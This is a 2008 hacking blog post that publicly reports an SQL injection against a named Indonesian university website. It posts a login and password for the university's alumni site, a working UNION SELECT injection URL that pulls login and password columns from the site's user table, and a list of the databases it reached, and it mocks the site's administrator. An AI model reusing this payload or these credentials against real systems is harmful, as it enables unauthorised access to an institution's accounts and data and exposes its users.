viperfx07 is here to blog about hacking, cracking, website, application, android, and many more.

Monday, September 29, 2008

[SQLi]http://www.unitomo.ac.id/

8:08 PM Posted by viperfx07 No comments
go to http://alumni.unitomo.ac.id.
login info: labtek:1206.
PoC: http://unitomo.ac.id/berita.php?id=-360+union+select+1,concat_ws(0x10,login,password),3,4,5,6,7+from+unitomo.user--

So many databases can be accessed from this site. Idiot admin :)

Database: alumni
backup_blog
blogfe
blogfh
blogfia
blogfikom
blogfkip
blogfp
blogfs
blogft
bloggalery
bloglppm
blogpasca
blogperpus
blogunitomo
bursakerja
cdcol
dtiweb
fakultas
moodle
mysql
penelitian
phpmyadmin
test
unitomo

0 comments:

Post a Comment